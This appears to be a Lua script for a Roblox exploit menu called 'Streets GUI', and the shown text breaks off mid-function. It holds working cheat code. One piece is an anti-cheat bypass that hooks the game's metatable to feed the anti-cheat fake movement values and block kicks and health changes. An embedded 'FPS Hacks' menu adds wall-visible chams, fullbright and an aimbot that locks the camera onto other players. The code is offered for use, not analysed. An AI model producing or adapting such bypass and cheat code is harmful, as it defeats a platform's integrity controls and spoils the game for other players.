-- Farewell infortality -- Revamp by ImFrostic, Version 2.8 -- Objects local Streets = Instance.new("ScreenGui") local LoginFrame = Instance.new("Frame") local bar1 = Instance.new("Frame") local bar2 = Instance.new("Frame") local title = Instance.new("TextLabel") local userbox = Instance.new("TextBox") local passbox = Instance.new("TextBox") local submit = Instance.new("TextButton") local MainFrame = Instance.new("Frame") local mbar1 = Instance.new("Frame") local mbar2 = Instance.new("Frame") local mtitle = Instance.new("TextLabel") local exitbutton = Instance.new("TextButton") local exebut = Instance.new("TextButton") local credits = Instance.new("TextLabel") local _2nd = Instance.new("TextButton") local ScriptFrame = Instance.new("Frame") local sbar1 = Instance.new("Frame") local sbar2 = Instance.new("Frame") local bypass = Instance.new("TextButton") local esp = Instance.new("TextButton") local bracks = Instance.new("TextButton") local anti = Instance.new("TextButton") local xray = Instance.new("TextButton") local xoro = Instance.new("TextButton") local rosehub = Instance.new("TextButton") local gbv4 = Instance.new("TextButton") local aimbot = Instance.new("TextButton") local sexitbutton = Instance.new("TextButton") local script2 = Instance.new("Frame") local S2 = Instance.new("Frame") local s2exitbutton = Instance.new("TextButton") local TextLabel = Instance.new("TextLabel") local RoCitizens = Instance.new("TextButton") local Inf = Instance.new("TextButton") local rocky = Instance.new("TextButton") local Arnex = Instance.new("TextButton") local Remote = Instance.new("TextButton") local Op = Instance.new("TextButton") local zally = Instance.new("TextButton") local grabknife = Instance.new("TextButton") local Money = Instance.new("TextButton") -- Properties Streets.Name = "Streets" Streets.Parent = game.CoreGui LoginFrame.Name = "LoginFrame" LoginFrame.Parent = Streets LoginFrame.Active = true LoginFrame.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647) LoginFrame.BorderSizePixel = 0 LoginFrame.Draggable = true LoginFrame.Position = UDim2.new(0.359237164, 0, 0.184384137, 0) LoginFrame.Selectable = true LoginFrame.Size = UDim2.new(0, 365, 0, 403) bar1.Name = "bar1" bar1.Parent = LoginFrame bar1.BackgroundColor3 = Color3.new(0.258824, 1, 0.407843) bar1.BorderColor3 = Color3.new(0.0823529, 0.207843, 0.133333) bar1.BorderSizePixel = 0 bar1.Position = UDim2.new(0.00273972563, 0, 0, 0) bar1.Size = UDim2.new(0, 364, 0, 43) bar1.Style = Enum.FrameStyle.RobloxSquare bar2.Name = "bar2" bar2.Parent = LoginFrame bar2.BackgroundColor3 = Color3.new(0.258824, 1, 0.407843) bar2.BorderColor3 = Color3.new(0.0823529, 0.207843, 0.133333) bar2.BorderSizePixel = 0 bar2.Position = UDim2.new(0, 0, 0.104218364, 0) bar2.Size = UDim2.new(0, 365, 0, 32) bar2.Style = Enum.FrameStyle.RobloxSquare title.Name = "title" title.Parent = LoginFrame title.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647) title.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647) title.Position = UDim2.new(0.0688421577, 0, 0.211374506, 0) title.Size = UDim2.new(0, 311, 0, 50) title.Font = Enum.Font.SourceSans title.Text = "Streets GUI" title.TextColor3 = Color3.new(0.109804, 0.207843, 0.0745098) title.TextScaled = true title.TextSize = 14 title.TextWrapped = true userbox.Name = "userbox" userbox.Parent = LoginFrame userbox.BackgroundColor3 = Color3.new(0.0588235, 0.0588235, 0.0588235) userbox.BorderColor3 = Color3.new(0.0392157, 0.0392157, 0.0392157) userbox.BorderSizePixel = 4 userbox.Position = UDim2.new(0.177433297, 0, 0.375930518, 0) userbox.Size = UDim2.new(0, 236, 0, 34) userbox.Font = Enum.Font.SourceSansItalic userbox.Text = "Username" userbox.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549) userbox.TextScaled = true userbox.TextSize = 14 userbox.TextWrapped = true userbox.TextXAlignment = Enum.TextXAlignment.Left passbox.Name = "passbox" passbox.Parent = LoginFrame passbox.BackgroundColor3 = Color3.new(0.0588235, 0.0588235, 0.0588235) passbox.BorderColor3 = Color3.new(0.0392157, 0.0392157, 0.0392157) passbox.BorderSizePixel = 4 passbox.Position = UDim2.new(0.171861753, 0, 0.52357316, 0) passbox.Size = UDim2.new(0, 236, 0, 36) passbox.Font = Enum.Font.SourceSansItalic passbox.Text = "Password" passbox.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549) passbox.TextScaled = true passbox.TextSize = 14 passbox.TextWrapped = true passbox.TextXAlignment = Enum.TextXAlignment.Left submit.Name = "submit" submit.Parent = LoginFrame submit.BackgroundColor3 = Color3.new(0.0588235, 0.0588235, 0.0588235) submit.BorderColor3 = Color3.new(0.0392157, 0.0392157, 0.0392157) submit.BorderSizePixel = 4 submit.Position = UDim2.new(0.273716241, 0, 0.704714596, 0) submit.Size = UDim2.new(0, 166, 0, 42) submit.Font = Enum.Font.SourceSansItalic submit.Text = "Login" submit.TextColor3 = Color3.new(0.980392, 0.976471, 0.976471) submit.TextSize = 25 submit.TextWrapped = true submit.MouseButton1Down:connect(function() if userbox.Text == "everyone" and passbox.Text == "everyone" then MainFrame.Visible = true LoginFrame.Visible = false end end) MainFrame.Name = "MainFrame" MainFrame.Parent = Streets MainFrame.Active = true MainFrame.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) MainFrame.BorderSizePixel = 0 MainFrame.Draggable = true MainFrame.Position = UDim2.new(4.75049019e-05, 0, 0.770115018, 0) MainFrame.Selectable = true MainFrame.Size = UDim2.new(0, 458, 0, 337) MainFrame.Visible = false mbar1.Name = "mbar1" mbar1.Parent = MainFrame mbar1.BackgroundColor3 = Color3.new(0.333333, 0, 1) mbar1.BorderSizePixel = 0 mbar1.Position = UDim2.new(0, 0, -0.00296735903, 0) mbar1.Size = UDim2.new(0, 458, 0, 27) mbar2.Name = "mbar2" mbar2.Parent = MainFrame mbar2.BackgroundColor3 = Color3.new(0.333333, 0, 1) mbar2.BorderSizePixel = 0 mbar2.Position = UDim2.new(0, 0, 0.0741839781, 0) mbar2.Size = UDim2.new(0, 458, 0, 27) mtitle.Name = "mtitle" mtitle.Parent = MainFrame mtitle.BackgroundColor3 = Color3.new(0.333333, 0, 1) mtitle.BorderSizePixel = 0 mtitle.Position = UDim2.new(0.293668121, 0, -0.0029673595, 0) mtitle.Size = UDim2.new(0, 179, 0, 50) mtitle.Font = Enum.Font.SourceSansItalic mtitle.Text = "Streets Gui " mtitle.TextColor3 = Color3.new(0.835294, 0.835294, 0.835294) mtitle.TextSize = 35 mtitle.TextWrapped = true exitbutton.Name = "exitbutton" exitbutton.Parent = MainFrame exitbutton.BackgroundColor3 = Color3.new(0.333333, 0, 1) exitbutton.BorderSizePixel = 0 exitbutton.Position = UDim2.new(0.895124912, 0, 0.00593471806, 0) exitbutton.Size = UDim2.new(0, 48, 0, 50) exitbutton.Font = Enum.Font.SourceSansBold exitbutton.Text = "X" exitbutton.TextColor3 = Color3.new(0.603922, 0.568627, 0.988235) exitbutton.TextSize = 30 exitbutton.TextWrapped = true exitbutton.MouseButton1Down:connect(function() Streets:Destroy() end) exebut.Name = "exebut" exebut.Parent = MainFrame exebut.BackgroundColor3 = Color3.new(0.658824, 0.647059, 1) exebut.BorderColor3 = Color3.new(0.12549, 0.12549, 0.12549) exebut.BorderSizePixel = 4 exebut.Position = UDim2.new(0.309852749, 0, 0.256676555, 0) exebut.Size = UDim2.new(0, 150, 0, 50) exebut.Font = Enum.Font.SourceSansItalic exebut.Text = "1P" exebut.TextColor3 = Color3.new(0.666667, 0, 1) exebut.TextSize = 25 exebut.MouseButton1Down:connect(function() MainFrame.Visible = true ScriptFrame.Visible = true end) credits.Name = "credits" credits.Parent = MainFrame credits.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) credits.BorderSizePixel = 0 credits.Position = UDim2.new(0, 0, 0.919881284, 0) credits.Size = UDim2.new(0, 142, 0, 27) credits.Font = Enum.Font.SourceSansItalic credits.Text = "Made by Jake" credits.TextColor3 = Color3.new(0.835294, 0.835294, 0.835294) credits.TextSize = 28 credits.TextWrapped = true _2nd.Name = "2nd" _2nd.Parent = MainFrame _2nd.BackgroundColor3 = Color3.new(0.658824, 0.647059, 1) _2nd.BorderColor3 = Color3.new(0.12549, 0.12549, 0.12549) _2nd.BorderSizePixel = 4 _2nd.Position = UDim2.new(0.309852749, 0, 0.596439123, 0) _2nd.Size = UDim2.new(0, 150, 0, 50) _2nd.Font = Enum.Font.SourceSansItalic _2nd.Text = "2p" _2nd.TextColor3 = Color3.new(0.666667, 0, 1) _2nd.TextSize = 25 _2nd.MouseButton1Down:connect(function() MainFrame.Visible = true ScriptFrame.Visible = false script2.Visible = true end) ScriptFrame.Name = "ScriptFrame" ScriptFrame.Parent = Streets ScriptFrame.Active = true ScriptFrame.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) ScriptFrame.BorderSizePixel = 0 ScriptFrame.Draggable = true ScriptFrame.Position = UDim2.new(0.355709881, 0, 0.125391856, 0) ScriptFrame.Selectable = true ScriptFrame.Size = UDim2.new(0, 751, 0, 461) ScriptFrame.Visible = false sbar1.Name = "sbar1" sbar1.Parent = ScriptFrame sbar1.BackgroundColor3 = Color3.new(0.333333, 0, 1) sbar1.BorderSizePixel = 0 sbar1.Size = UDim2.new(0, 751, 0, 36) sbar2.Name = "sbar2" sbar2.Parent = ScriptFrame sbar2.BackgroundColor3 = Color3.new(0.333333, 0, 1) sbar2.BorderSizePixel = 0 sbar2.Position = UDim2.new(0, 0, 0.0780911073, 0) sbar2.Size = UDim2.new(0, 751, 0, 29) bypass.Name = "bypass" bypass.Parent = ScriptFrame bypass.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) bypass.BorderColor3 = Color3.new(0.133333, 0.133333, 0.133333) bypass.BorderSizePixel = 4 bypass.Position = UDim2.new(0.038654238, 0, 0.512110829, 0) bypass.Size = UDim2.new(0, 200, 0, 50) bypass.Font = Enum.Font.SourceSansItalic bypass.Text = "Bypass" bypass.TextColor3 = Color3.new(0.223529, 0.219608, 0.317647) bypass.TextSize = 30 bypass.MouseButton1Down:connect(function() -- // The Streets Anti-Exploit bypass (kind of) rewritten by John. -- // Synapse only. local metatable = getrawmetatable(game) setreadonly(metatable, false) local index, newindex, namecall = metatable.__index, metatable.__newindex, metatable.__namecall local walking_speed = 16 local running_speed = 33 local crouching_speed = 8 -- you can change these three to your liking local default_index_values = { -- what the script gives the anticheat when the anticheat asks for it (recommend you do not change) ["WalkSpeed"] = 16, ["JumpPower"] = 38, ["HipHeight"] = 0, ["Gravity"] = 196.1 } metatable.__index = function(t,k) if k == "IlIl" then return end if default_index_values[k] ~= nil then if not checkcaller() then return default_index_values[k] end end return index(t,k) end metatable.__newindex = function(t,k,v) if k == "WalkSpeed" then if not checkcaller() then if game:service("UserInputService"):IsKeyDown(Enum.KeyCode.LeftShift) and not game:service("UserInputService"):IsKeyDown(Enum.KeyCode.S) then return newindex(t,k,running_speed) end if game:service("UserInputService"):IsKeyDown(Enum.KeyCode.LeftControl) then return newindex(t,k,crouching_speed) end return newindex(t,k,walking_speed) end end if k == "CFrame" then if t == game.Players.LocalPlayer.Character.HumanoidRootPart then if not checkcaller() then return end end end if k == "Gravity" or k == "Health" then if not checkcaller() then return end end return newindex(t,k,v) end metatable.__namecall = function(t, ...) local oof = {...} if oof[#oof] == "SetStateEnabled" or oof[#oof] == "BreakJoints" or oof[#oof] == "Kick" then if not checkcaller() then return end end if oof[#oof] == "Destroy" then if t:IsA("HopperBin") then if not checkcaller() then return end end end return namecall(t, ...) end end) esp.Name = "esp" esp.Parent = ScriptFrame esp.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) esp.BorderColor3 = Color3.new(0.133333, 0.133333, 0.133333) esp.BorderSizePixel = 4 esp.Position = UDim2.new(0.350666672, 0, 0.511026263, 0) esp.Size = UDim2.new(0, 200, 0, 50) esp.Font = Enum.Font.SourceSansItalic esp.Text = "PF Esp" esp.TextColor3 = Color3.new(0.223529, 0.219608, 0.317647) esp.TextSize = 30 esp.MouseButton1Down:connect(function() --[[ __/\\\\____________/\\\\_________________________________________________________ _\/\\\\\\________/\\\\\\_________________________________________________________ _\/\\\//\\\____/\\\//\\\_________________________________________________________ _\/\\\\///\\\/\\\/_\/\\\_____/\\\\\_____/\\/\\\\\\\___/\\\\\\\\\\_____/\\\\\\\\__ _\/\\\__\///\\\/___\/\\\___/\\\///\\\__\/\\\/////\\\_\/\\\//////____/\\\/////\\\_ _\/\\\____\///_____\/\\\__/\\\__\//\\\_\/\\\___\///__\/\\\\\\\\\\__/\\\\\\\\\\\__ _\/\\\_____________\/\\\_\//\\\__/\\\__\/\\\_________\////////\\\_\//\\///////___ _\/\\\_____________\/\\\__\///\\\\\/___\/\\\__________/\\\\\\\\\\__\//\\\\\\\\\\_ _\///______________\///_____\/////_____\///__________\//////////____\//////////__ FIRST PERSON SHOOTERS ------------------------ -: CHANGELOG :- ------------------------ v1.21: - Chams Fix v1.4: - Fullbright --]] local World = game:GetService('Workspace'); local Input = game:GetService('UserInputService'); local Lighting = game:GetService("Lighting"); local Players = game:GetService('Players'); local Player = Players['LocalPlayer']; local Keys = {} local Misc = { CharFunctions = getmetatable(newproxy(true)); GUIColors = { On = Color3.fromRGB(46, 105, 132); Off = Color3.new(.38, .38, .38); }; ChamsColors = { {'White', Color3.new(1, 1, 1)}; {'Black', Color3.new(0, 0, 0)}; {'Red', Color3.new(1, 0, 0)}; {'Green', Color3.new(0, 1, 0)}; {'Blue', Color3.new(0, 0, 1)}; {'Purple', Color3.new(0.65, 0, 0.65)}; {'Yellow', Color3.new(1, 1, 0)}; {'Grey', Color3.new(0.8, 0.8, 0.8)}; } } local function GetFunc(t, i) for __, ___ in next, (t) do if string.lower(i):match(__:lower()) then return ___, __ end end end local function GetColor(t, i) for __, ___ in next, (t) do if (___[1] == i) then return ___, __ elseif (___[2] == i) then return ___, __ end end end local Settings = { {'Menu', false, Enum.KeyCode.Delete}; {'Team Chams [\'COLOR\']', true, 'Toggle'}; {'Enemy Chams [\'COLOR\']', true, 'Toggle'}; {'Chams Transparency', false, '0'}; {'Fullbright', true, 'MAX'}; -- {'ESP', true, 'N/A'}; {'Aimbot [Not PF]', true, 'Toggle'}; } ------------ [[ GUI SPAWN ]] ------------ FormAssets = function() ------ ERROR MAGIC ------ local __ERROR__ = Instance.new('BindableEvent') __ERROR__['Event']:Connect(error) --------- CREATE FUNCTION --------- local create = function(class, parent) local instance = Instance.new(class); return function(props) for property, value in next, (props) do if (property ~= 'Parent') and (typeof(value) ~= 'Instance') then local suc, err = pcall(function() instance[property] = value end) if not suc then __ERROR__:Fire('[Script->Asset]: ' .. err) end elseif (property == 'Parent') then parent = value end end if parent and (typeof(parent) == 'Instance') then instance['Parent'] = parent end return instance end end ------------------------------------- ------------------------------------- -- SOME THINGS MAY BE OUT OF ORDER -- ----(INSTANCE RELATED PROPERTIES)---- -------------(UNLIKELY)-------------- ------------------------------------- ------------------------------------- local Main = create('ScreenGui'){ Name = "FPS Hacks - Menu" } local Folder = create('Folder', Main){ Name = 'Chams' } local Folder1 = create('Folder', Folder){ Name = 'Team' } local Folder2 = create('Folder', Folder){ Name = 'Enemy' } local Frame = create('Frame', Main){ Name = "Main"; BackgroundColor3 = Color3.new(1, 1, 1); BackgroundTransparency = 1; Position = UDim2.new(0.5, 0, 0.5, 0); Size = UDim2.new(0, 250, 0, 190); Draggable = true; Active = true; AnchorPoint = Vector2.new(0.5, 0.5); Transparency = 1 } local TextLabel = create('TextLabel', Frame){ Name = "Title"; BackgroundColor3 = Color3.new(0.180392, 0.411765, 0.517647); BorderSizePixel = 0; Size = UDim2.new(1, 0, 0, 35); Text = "FPS Hacks"; TextColor3 = Color3.new(0.866667, 0.843137, 0.843137); Font = Enum.Font.SciFi; FontSize = Enum.FontSize.Size28; TextWrapped = true } local ScrollingFrame = create('ScrollingFrame', Frame){ Name = "Buttons"; BackgroundColor3 = Color3.new(1, 1, 1); BackgroundTransparency = 1; BorderSizePixel = 0; Position = UDim2.new(0.5, 0, 0, 40); CanvasSize = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 0, 260); AnchorPoint = Vector2.new(0.5, 0); Transparency = 1 } local Frame1 = create('Frame'){ BackgroundColor3 = Color3.new(1, 1, 1); BackgroundTransparency = 1; BorderSizePixel = 0; Position = UDim2.new(0, 0, 0, 1); Selectable = true; Size = UDim2.new(1, 0, 0, 25); ClipsDescendants = true; Transparency = 1 } local TextLabel1 = create('TextButton', Frame1){ Name = "Text"; BackgroundColor3 = Color3.new(1, 1, 1); BorderColor3 = Color3.new(0.180392, 0.411765, 0.517647); Position = UDim2.new(0.100000001, 0, 0, 0); Size = UDim2.new(0.600000024, 0, 1, 0); Text = "Example"; TextColor3 = Color3.new(0.180392, 0.411765, 0.517647); Font = Enum.Font.SciFi; FontSize = Enum.FontSize.Size14 } local Frame2 = create('Frame', Frame1){ Name = "Status"; BackgroundColor3 = Color3.new(0, 1, 0); BorderSizePixel = 0; Position = UDim2.new(0.0250000004, 0, 0.5, 0); Size = UDim2.new(0, 7, 0, 7); Style = Enum.FrameStyle.DropShadow; AnchorPoint = Vector2.new(0, 0.5) } local TextButton = create('TextButton', Frame1){ Name = "Key"; BackgroundColor3 = Color3.new(0.180392, 0.411765, 0.517647); BackgroundTransparency = 0.5; BorderSizePixel = 0; Position = UDim2.new(0.699999988, 0, 0, 0); Size = UDim2.new(0.300000012, 0, 1, 0); Text = "[EXAMPLE]"; TextColor3 = Color3.new(0.839216, 0.839216, 0.839216); Font = Enum.Font.SciFi; FontSize = Enum.FontSize.Size14; TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392); TextStrokeTransparency = 0; Transparency = 0.5 } local UIListLayout = create('UIListLayout', ScrollingFrame){ Padding = UDim.new(0, 4); HorizontalAlignment = Enum.HorizontalAlignment.Center } local UIPadding = create('UIPadding', ScrollingFrame){} return create, Main, Frame1, Folder end local Create, Menu, Button, Chams = FormAssets() local TDB = false local EDB = false local Functions = { ['Menu'] = function() Menu['Enabled'] = not (Menu['Enabled']); end; ['Team Chams'] = function() if TDB then return end TDB = true Settings['TCO'] = not (Settings['TCO']) if Settings['TCO'] then Misc['CharFunctions'] ['TCCH'] = function(char) local Target = Players:GetPlayerFromCharacter(char) if (Target == Player) or (Target.TeamColor ~= Player.TeamColor) then return end local Folder = Chams['Team']:FindFirstChild(Target['Name']) or Create('Folder', Chams['Team']){Name = Target['Name']} for __, part in next, (char:GetChildren()) do if part:IsA('BasePart') then Create('BoxHandleAdornment', Folder) { Name = part.Name .. '_CHAM'; Color3 = Settings['TCC'][2]; AlwaysOnTop = true; Transparency = Settings['CT']; Visible = true; ZIndex = 10; Size = (part['Name'] == 'Head' and Vector3.new(1.25, 1.3, 1.25)) or (Vector3.new(.5, .5, .5) + part.Size) }['Adornee'] = part end end end elseif Misc['CharFunctions']['TCCH'] then Misc['CharFunctions']['TCCH'] = nil Chams['Team']:ClearAllChildren() end TDB = false end; ['Enemy Chams'] = function() if EDB then return end EDB = true Settings['ECO'] = not (Settings['ECO']) if Settings['ECO'] then Misc['CharFunctions'] ['ECCH'] = function(char) local Target = Players:GetPlayerFromCharacter(char) if (Target == Player) or (Target.TeamColor == Player.TeamColor) then return end local Folder = Chams['Enemy']:FindFirstChild(Target['Name']) or Create('Folder', Chams['Enemy']){Name = Target['Name']} for __, part in next, (char:GetChildren()) do if part:IsA('BasePart') then Create('BoxHandleAdornment', Folder) { Name = part.Name .. '_CHAM'; Color3 = Settings['ECC'][2]; AlwaysOnTop = true; Transparency = Settings['CT']; Visible = true; ZIndex = 10; Size = (part['Name'] == 'Head' and Vector3.new(1.25, 1.3, 1.25)) or (Vector3.new(.5, .5, .5) + part.Size) }['Adornee'] = part end end end elseif Misc['CharFunctions']['ECCH'] then Misc['CharFunctions']['ECCH'] = nil Chams['Enemy']:ClearAllChildren() end EDB = false end; ['Chams Transparency'] = function(t) if t then local Trans = Settings['CT'] Settings['CT'] = (Trans < .8 and Trans + (1/10)) or 0 end local TeamCham = Chams['Team']:GetChildren() local EnemyCham = Chams['Enemy']:GetChildren() for __, object in next, (TeamCham) do for __, bha in next, (object:GetChildren()) do bha.Transparency = Settings['CT'] bha.Color3 = Settings['TCC'][2] end end for __, object in next, (EnemyCham) do for __, bha in next, (object:GetChildren()) do bha.Transparency = Settings['CT'] bha.Color3 = Settings['ECC'][2] end end Menu['Main']['Buttons']['Frans']['Key'].Text = '[' .. tostring(Settings['CT']) .. ']' end; ['Fullbright'] = function(Toggle, TextBox) local Fullbright = Settings.Fullbright if Toggle then Fullbright.On = not (Fullbright.On); end local function Handle() local Setting = Fullbright.Options[Fullbright.Current] local Settings = Fullbright.OptionDefs[Setting] TextBox['Text'] = '[' .. Setting .. ']' Lighting.Ambient = Settings.InAmbience; Lighting.OutdoorAmbient = Settings.OutAmbience; Lighting.Brightness = Settings.Brightness; Lighting.FogStart = Settings.Fog; Lighting.FogEnd = Settings.Fog; end if (not Fullbright.On) then Fullbright.Current = 3 end Handle() end; ['Aimbot'] = function(l) l:Destroy() local IgnorePlayersNamed = {NAME=true} -- Name = true or false --[[ [J] - To go down the list. [U] - To go up the list. [H] - To toggle that item in the list. [RMB] - To aim at your target using the current settings. (THIS UPDATES IN LIVE TIME SO YOU DON'T HAVE TO STOP AIMING FOR IT TO TAKE EFFECT) --]] local services = setmetatable({ World = game:GetService('Workspace'); Players = game:GetService('Players'); Input = game:GetService('UserInputService'); Run = game:GetService('RunService'); UI = game:GetService('StarterGui'); },{ __index = function(tab,index) local serv local ran,err = pcall(function() serv=game:service(index) end) if ran then tab[index] = serv return serv end end }) local cre = Create local ResizeUI = function(ui,downscale,byclass) if not rawequal(ui['ClassName'],'ScrollingFrame') then return end local count = 0; for __, asset in next, (ui:GetChildren()) do if rawequal(asset['ClassName'],byclass) then count = count + 1 end end ui['CanvasSize'] = UDim2.new(ui.CanvasSize.X.Scale,ui.CanvasSize.X.Offset,ui.CanvasSize.Y.Scale,downscale*count) end local wfc, ffc, ffoc, cast, ray = services.World.WaitForChild, services.World.FindFirstChild, services.World.FindFirstChildOfClass, services.World.FindPartOnRayWithIgnoreList, Ray.new local wfcoc = function(p,class) local obj repeat services.Run.RenderStepped:wait() obj = p:FindFirstChildOfClass(class) until obj return obj end local Client = services.Players.LocalPlayer local ClientUI = wfc(Client,'PlayerGui') local ClientMouse = Client:GetMouse() local ClientModel = Client.Character or Client.CharacterAdded:wait() local ClientCamera = services.World.CurrentCamera local ClientHumanoid = wfcoc(ClientModel,'Humanoid') local ClientActiveUI; local status = { Enabled = false, TeamCheck = false, HeadsOnly = false, RayCheck = true, AutoAim = false, } local function toggle(button) local option, val = button['Text']:match('(.*):%s*(.*)') status[option] = not status[option] if status[option] then button.TextColor3 = Color3.fromRGB(0,255,0) else button.TextColor3 = Color3.fromRGB(255,0,0) end button.Text = option .. ': ' .. tostring(status[option]) end local selection = {} local select_pos = 1 local current_pos = 0 local __ = function() if ffc(game.CoreGui, '___') then return end local GUI = cre('ScreenGui',game:GetService('CoreGui')){ Name = '___'; } local Frame = cre('ScrollingFrame',GUI){ BackgroundTransparency = 1, BorderSizePixel = 0, Name = 'Options', Position = UDim2.new(.8,0,.915,0), Size = UDim2.new(.2,0,0,30), ZIndex = 10, ClipsDescendants = true, CanvasSize = UDim2.new(0,0,0,0), ScrollBarThickness = 0, ScrollingEnabled = false, } local UILL = cre('UIListLayout',Frame){ Name = 'LayoutHandler', FillDirection = 'Vertical', HorizontalAlignment = 'Center', SortOrder = 'LayoutOrder', VerticalAlignment = 'Top' } local Template = cre('TextButton',nil){ BackgroundTransparency = 1, BorderSizePixel = 0, Name = 'Template', Size = UDim2.new(.9,0,0,30), Font = 'SciFi', Text = '', TextColor3 = Color3.fromRGB(255,255,255), TextScaled = true, TextWrapped = true, } local TSC = cre('UISizeConstraint',Template){ Name = 'TemplateSizeConstraint', MaxSize = Vector2.new(math.huge,30), } Frame['ChildAdded']:connect(function() ResizeUI(Frame,30,'TextButton') end) local sel_pos = 0 for option, val in next, status do local tp = Template:Clone() tp.Name = option tp.Text = option .. ': ' .. tostring(val) if status[option] then tp.TextColor3 = Color3.fromRGB(0,255,0) else tp.TextColor3 = Color3.fromRGB(255,0,0) end sel_pos = sel_pos + 1 selection[sel_pos] = tp tp.Parent = Frame end Frame.CanvasPosition = Vector2.new(0, current_pos) return Frame end Client['CharacterAdded']:connect(function(c) ClientModel = c ClientHumanoid = wfcoc(ClientModel,'Humanoid') ClientActiveUI.Parent.Parent = nil ClientActiveUI = coroutine.wrap(__)() end) ClientActiveUI = coroutine.wrap(__)() local right_down, keylogs, inputlogs = nil, {}, {} services.Input.InputBegan:connect(function(input, procc) keylogs[input.KeyCode],inputlogs[input.UserInputType] = true, true; if not ClientActiveUI then return end if keylogs[Enum.KeyCode.U] and current_pos >= 30 then select_pos = select_pos - 1 current_pos = current_pos - 30 ClientActiveUI.CanvasPosition = Vector2.new(0,current_pos) elseif keylogs[Enum.KeyCode.J] and current_pos < ClientActiveUI.CanvasSize.Y.Offset - 30 then select_pos = select_pos + 1 current_pos = current_pos + 30 ClientActiveUI.CanvasPosition = Vector2.new(0,current_pos) elseif keylogs[Enum.KeyCode.H] then if selection[select_pos] then toggle(selection[select_pos]) end end end) services.Input.InputEnded:connect(function(input, procc) keylogs[input.KeyCode],inputlogs[input.UserInputType] = false, false; end) local function GetPlayerFromCharacter(mod) if not mod:IsA('Model') then return end for __, client in next, services.Players:GetPlayers() do if rawequal(string.lower(client['Name']):sub(1,#mod['Name']),mod['Name']:lower()) then return client, client['Name'] end end return nil, 'N/A' end local function Search() local t = {} for __, child in next, services.World:GetChildren() do local UserFromCharacter = GetPlayerFromCharacter(child) if UserFromCharacter then if child:IsA('Model') and not rawequal(UserFromCharacter,Client) then local h = ffoc(child,'Humanoid') if h and h.Health > 0 then table.insert(t, {child,UserFromCharacter}) end end end end return t end local function cast_ray(p0,p1,blacklist) local Part local __=0 repeat __=__+1 local cond=(p1-p0).magnitude < 999 Part,p0=cast(workspace,ray(p0,cond and p1-p0 or (p1-p0).unit*999),blacklist) if Part then if Part.CanCollide==false or Part.Transparency==1 then blacklist[#blacklist+1]=Part Part=nil end elseif cond or __ > 15 then break end until Part return Part,p0 end services.Run.RenderStepped:connect(function() local Storage = {} if status['Enabled'] and (inputlogs[Enum.UserInputType.MouseButton2] or status['AutoAim']) then Storage = Search() local dot, face = -1 for __, info in next, (Storage) do local h = ffc(info[1],'Humanoid') local skip; if not inputlogs[Enum.UserInputType.MouseButton2] and not status['AutoAim'] then return end if not info[1] or not info[2] or IgnorePlayersNamed[info[2]['Name']] or ffoc(info[1],'ForceField') then skip = true end if not ffc(info[1],'HumanoidRootPart') then skip = true end if h and h['Health'] > 0 then if status['TeamCheck'] then if Client['TeamColor'] == info[2]['TeamColor'] then skip = true end end if not skip then local cc = ClientCamera.CFrame local pos = status['HeadsOnly'] and info[1]['Head'].CFrame.p or info[1]['HumanoidRootPart'].Position local HitPart=cast_ray(cc.p,pos,{ClientCamera,ClientModel}) if not (status['RayCheck'] and HitPart) or info[1]:IsAncestorOf(HitPart) then local m = (pos-cc.p).unit:Dot(cc.lookVector) if rawequal(m,m) and m > dot then dot, face= m, pos end end end end end if face then ClientCamera.CFrame = CFrame.new(ClientCamera.CFrame.p,face) * CFrame.new(0,0,0.5) end end end) end } Settings = (function() local NewSettings = { --- Chams --- CT = 0; -- Transparency TCO = false; -- Team Chams On ECO = false; -- Enemy Chams On TCC = GetColor(Misc.ChamsColors, 'Grey'); -- Current Team Chams Color ECC = GetColor(Misc.ChamsColors, 'Red'); -- Current Enemy Chams Color --- Fullbright --- Fullbright = { On = false; Current = 1; Options = {'Max','Half','Default'}; OptionDefs = { Max = { Fog = 1000000; Brightness = 10; InAmbience = Color3.new(1, 1, 1); OutAmbience = Color3.new(1, 1, 1); }; Half = { Fog = 250; Brightness = 1.5; InAmbience = Color3.new(0.6, 0.6, 0.6); OutAmbience = Color3.new(0.6, 0.6, 0.6); }; Default = { Fog = Lighting.FogEnd; Brightness = Lighting.Brightness; InAmbience = Lighting.Ambient; OutAmbience = Lighting.OutdoorAmbient; } } } } for __, option in next, (Settings) do local NewOption = Button:Clone() if option[1] == 'Menu' or option[1] == 'Chams Transparency' then NewOption['Status']['Style'] = 'Custom'; NewOption['Key']['TextStrokeColor3'] = Misc.GUIColors.On end NewOption['Text'].Text = option[1]:match('COLOR') and ( (option[1]:match('Team') and option[1]:gsub('COLOR', NewSettings.TCC[1])) or (option[1]:match('Enemy') and option[1]:gsub('COLOR', NewSettings.ECC[1])) ) or option[1] NewOption['Key'].Text = '['.. ((typeof(option[3]) == 'EnumItem' and option[3].Name) or option[3]) .. ']' NewOption.Parent = Menu['Main']['Buttons'] if option[1] == 'Chams Transparency' then NewOption['Name'] = 'Frans' end local Func, Name = GetFunc(Functions, option[1]) if Func then NewOption['Text']['MouseButton1Down']:connect(function() if not option[2] then return end if NewOption.Status.Style.Name == 'DropShadow' then NewOption.Status.Style = 'Custom' elseif NewOption.Status.Style.Name == 'Custom' then NewOption.Status.Style = 'DropShadow' end if option[1]:match('Aimbot') then Func(NewOption) elseif option[1]:match('Fullbright') then Func(true, NewOption['Key']) else Func() end end) if option[3] == 'Toggle' then if Name:match('Team') then NewOption['Key']['MouseButton1Down']:connect(function() local Tab, Pos = GetColor(Misc.ChamsColors, NewSettings.TCC[2]) if (Pos + 1) < #Misc.ChamsColors then NewOption['Text'].Text = NewOption['Text'].Text:gsub(NewSettings.TCC[1], Misc.ChamsColors[Pos + 1][1]) NewSettings.TCC = Misc.ChamsColors[Pos + 1] else NewOption['Text'].Text = NewOption['Text'].Text:gsub(NewSettings.TCC[1], Misc.ChamsColors[1][1]) NewSettings.TCC = Misc.ChamsColors[1] end 